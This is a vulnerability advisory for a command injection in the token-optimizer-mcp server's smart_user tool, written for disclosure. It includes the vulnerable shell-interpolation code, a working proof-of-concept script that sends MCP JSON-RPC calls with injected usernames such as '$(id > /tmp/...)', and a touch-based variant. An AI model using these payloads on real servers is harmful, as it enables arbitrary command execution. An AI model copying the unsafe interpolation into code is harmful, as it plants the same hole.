CVE-2026-55157

Token Optimizer MCP: OS command injection in smart_user via username in get-user-info

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.

Details

The vulnerable code path is in the smart_user implementation.

The username argument is eventually passed into a shell command similar to:

const { stdout: passwdOut } = await execAsync(
  getent passwd "${username}" || grep "^${username}:" /etc/passwd
);

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"id"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

tool: smart_user
operation: get-user-info
argument: username

Root cause:

MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution

PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

Node.js installed
token-optimizer-mcp built from source

Build from source:

git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build

Run the PoC:

cd /path/to/token-optimizer-mcp
ENTRY=dist/server/index.js
ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$"
rm -f "$ID_OUT"
echo "[*] ENTRY=$ENTRY"
echo "[*] id output file: $ID_OUT"
python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log
import json
import sys
id_out = sys.argv[1]
This value is inserted into:
getent passwd "${username}" || grep "^${username}:" /etc/passwd
Command substitution still executes inside double quotes.
evil_username = f'$(id > {id_out})'
messages = [
    {
        "jsonrpc": "2.0",
        "id": "init",
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {
                "name": "poc",
                "version": "0"
            }
        }
    },
    {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {}
    },
    {
        "jsonrpc": "2.0",
        "id": "poc-smart-user",
        "method": "tools/call",
        "params": {
            "name": "smart_user",
            "arguments": {
                "operation": "get-user-info",
                "username": evil_username,
                "useCache": False
            }
        }
    }
]
for msg in messages:
    print(json.dumps(msg), flush=True)
PY
sleep 1
if [ -f "$ID_OUT" ]; then
  echo "[VULN CONFIRMED] smart_user command injection executed:"
  cat "$ID_OUT"
  ls -l "$ID_OUT"
else
  echo "[FAIL] smart_user id output file not created"
  tail -120 /tmp/token_optimizer_smart_user_poc.log
fi

Expected result:

[VULN CONFIRMED] smart_user command injection executed:
uid=1001() gid=1001() groups=...
-rw-rw-r-- 1   ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...

In my test, the MCP response also showed that the payload reached the shell command:

Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd

The file /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... was created and contained the output of id, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

{
  "operation": "get-user-info",
  "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
  "useCache": false
}

Impact

This is an OS command injection vulnerability.

Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation.

The commands execute with the privileges of the user running the token-optimizer-mcp server.

Confirmed impact:

execution of id as the MCP server user
arbitrary file creation under /tmp through an injected command